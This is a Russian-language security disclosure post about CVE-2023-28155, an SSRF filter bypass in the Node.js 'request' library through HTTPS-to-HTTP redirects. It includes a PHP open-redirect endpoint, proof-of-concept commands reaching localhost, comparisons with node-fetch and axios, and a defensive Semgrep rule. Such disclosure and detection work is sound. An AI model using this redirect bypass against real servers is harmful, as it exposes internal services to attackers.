Обход SSRF через перенаправление со сменой протокола

Обход SSRF через перенаправление со сменой протокола

Этичный Хакер

Подделка запросов на стороне сервера (SSRF) - это довольно известная уязвимость с установленными методами предотвращения. Итак, представьте мое удивление, когда я обошел устранение SSRF во время обычного повторного тестирования. Что еще хуже, я обошел фильтр, который мы сами рекомендовали! Я не мог упустить это из виду и должен был докопаться до сути проблемы.

Введение

Подделка запросов на стороне сервера - это уязвимость, при которой злоумышленник использует сервер жертвы для выполнения HTTP-запросов от имени злоумышленника. Поскольку сервер обычно имеет доступ к внутренней сети, эта атака полезна для обхода брандмауэров и белых списков IP-адресов для доступа к хостам, недоступным злоумышленнику в противном случае.

Уязвимость библиотеки запросов

Атаки SSRF можно предотвратить с помощью фильтрации адресов, предполагая, что обходов фильтра не существует. Одним из классических методов обхода фильтрации SSRF является атака с перенаправлением. В ходе этих атак злоумышленник настраивает вредоносный веб-сервер, обслуживающий конечную точку, перенаправляющую на внутренний адрес. Сервер-жертва должным образом разрешает отправку запроса на внешний сервер, но затем слепо следует вредоносному перенаправлению на внутреннюю службу.

Разумеется, ничто из вышеперечисленного не ново. Все эти методы существуют уже много лет, и любая уважаемая библиотека защиты от SSRF снижает такие риски. И все же я обошел их.

Код клиента представлял собой простую конечную точку, созданную для интеграции. Во время первоначального взаимодействия фильтрация вообще отсутствовала. После нашего тестирования клиент применил анти-SSRF библиотеку ssrfFilter. В целях исследования и анонимности кода я извлек логику из автономного скрипта NodeJS:

const request = require('request');
const ssrfFilter = require('ssrf-req-filter');

let url = process.argv[2];
console.log("Testing", url);

request({
    uri: url,
    agent: ssrfFilter(url),
}, function (error, response, body) {
    console.error('error:', error);
    console.log('statusCode:', response && response.statusCode);
});

Для проверки обхода перенаправления я создал простой веб-сервер с открытой конечной точкой перенаправления на PHP и разместил его в Интернете, используя мой тестовый домен tellico.fun:

<?php header('Location: '.$_GET["target"]); ?>

Первоначальный тест показывает, что уязвимость исправлена:

$ node test-request.js "http://tellico.fun/redirect.php?target=http://localhost/test" 
Testing http://tellico.fun/redirect.php?target=http://localhost/test
error: Error: Call to 127.0.0.1 is blocked.

Но затем я переключил протокол и внезапно снова смог получить доступ к службе локального хостинга. Читателям следует внимательно присмотреться к полезной нагрузке, поскольку разница минимальна:

$ node test-request.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
error: null
statusCode: 200

Что произошло? Сервер злоумышленника перенаправил запрос на другой протокол - с HTTPS на HTTP. Это все, что потребовалось для обхода защиты от SSRF.

Почему это? Немного покопавшись в кодовой базе популярной библиотеки запросов, я обнаружил в lib/redirect.js файле следующие строки:

  // handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
  delete request.agent
}

Согласно приведенному выше коду, всякий раз, когда перенаправление вызывает переключение протокола, агент запроса удаляется. Без этого обходного пути клиент отказывал бы всякий раз, когда сервер вызывал бы кросс-протокольное перенаправление. Это необходимо, поскольку собственный NodeJS http(s).agent не может использоваться с обоими протоколами.

К сожалению, при таком поведении также теряется любая обработка событий, связанная с агентом. Учитывая, что предотвращение SSRF основано на createConnection обработчике событий агентов, это неожиданное поведение влияет на эффективность стратегий смягчения SSRF в request библиотеке.

Раскрытие

Об этой проблеме было сообщено сопровождающим 5 декабря 2022 года. Несмотря на наши лучшие попытки, мы до сих пор не получили подтверждения. По истечении 90 дней мы решили опубликовать полную техническую информацию, а также общедоступную проблему на Github, связанную с запросом на извлечение исправления. 14 марта 2023 года этой уязвимости был присвоен идентификатор CVE.

  • 05.12.2022 - Первое раскрытие для сопровождающего
  • 18.01.2023 - Еще одна попытка связаться с сопровождающим
  • 08.03.2023 - Создание проблемы с Github, без технических подробностей
  • 13.03.2023 - Назначен CVE-2023-28155
  • 16.03.2023 - Раскрытие полной технической информации

Другие библиотеки

Поскольку предположительно универсальный фильтр оказался настолько зависимым от реализации HTTP(S) клиентов, естественно спросить, как другие популярные библиотеки справляются с этими случаями.

Выборка узла

node-Fetch Библиотека также позволяет перезаписывать HTTP(S)-агент в пределах своих опций, без указания протокола:

const ssrfFilter = require('ssrf-req-filter');
const fetch = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));

let url = process.argv[2];
console.log("Testing", url);

fetch(url, {
    agent: ssrfFilter(url)
}).then((response) => {
    console.log('Success');
}).catch(error => {
    console.log('${error.toString().split('\n')[0]}');
});

Однако, в отличие от request библиотеки, в случае кросс-протокольного перенаправления это просто приводит к сбою:

$ node fetch.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
TypeError [ERR_INVALID_PROTOCOL]: Protocol "http:" not supported. Expected "https:"

Поэтому невозможно выполнить аналогичную атаку на эту библиотеку.

Axios

axios Опции библиотеки позволяют перезаписывать агенты для обоих протоколов по отдельности. Поэтому защищен следующий код:

axios.get(url, {
    httpAgent: ssrfFilter("http://domain"),
    httpsAgent: ssrfFilter("https://domain")
})

Примечание: В библиотеке Axios необходимо жестко кодировать URL-адреса во время перезаписи агента. В противном случае один из агентов был бы перезаписан агентом для неправильного протокола, и межпротоколное перенаправление завершилось бы сбоем, аналогично node-fetch библиотеке.

Тем не менее, axios вызовы могут быть уязвимыми. Если забыть перезаписать оба агента, перекрестное перенаправление протокола может обойти фильтр:

axios.get(url, {
    // httpAgent: ssrfFilter(url),
    httpsAgent: ssrfFilter(url)
})

Такие неправильные настройки можно легко пропустить, поэтому мы создали правило Semgrep, которое улавливает похожие шаблоны в коде JavaScript:

rules:
  - id: axios-only-one-agent-set
    message: Detected an Axios call that overwrites only one HTTP(S) agent. It can lead to a bypass of restriction implemented in the agent implementation. For example SSRF protection can be bypassed by a malicious server redirecting the client from HTTPS to HTTP (or the other way around).
    mode: taint
    pattern-sources:
      - patterns:
        - pattern-either:
            - pattern: |
                {..., httpsAgent:..., ...}
            - pattern: |
                {..., httpAgent:..., ...}
        - pattern-not: |
                {...,httpAgent:...,httpsAgent:...}
    pattern-sinks:
      - pattern: $AXIOS.request(...)
      - pattern: $AXIOS.get(...)
      - pattern: $AXIOS.delete(...)
      - pattern: $AXIOS.head(...)
      - pattern: $AXIOS.options(...)
      - pattern: $AXIOS.post(...)
      - pattern: $AXIOS.put(...)
      - pattern: $AXIOS.patch(...)
    languages:
      - javascript
      - typescript
    severity: WARNING

Краткие сведения

Как обсуждалось выше, мы обнаружили уязвимость SSRF, которая может быть использована в популярной библиотеке запросов. Несмотря на то, что этот пакет устарел, эта зависимость по-прежнему используется более чем 50 тыс. проектами с более чем 18 млн загрузок в неделю.

Мы продемонстрировали, как злоумышленник может обойти любые механизмы защиты от SSRF, внедренные в эту библиотеку, просто перенаправив запрос на другой протокол (например, HTTP на HTTPS). Хотя многие библиотеки, которые мы рассмотрели, действительно обеспечивали защиту от подобных атак, другие, такие как axios, могут быть потенциально уязвимы при наличии аналогичных неправильных настроек. Стремясь упростить поиск и предотвращение этих проблем, мы также выпустили наше внутреннее правило Semgrep.


Report Page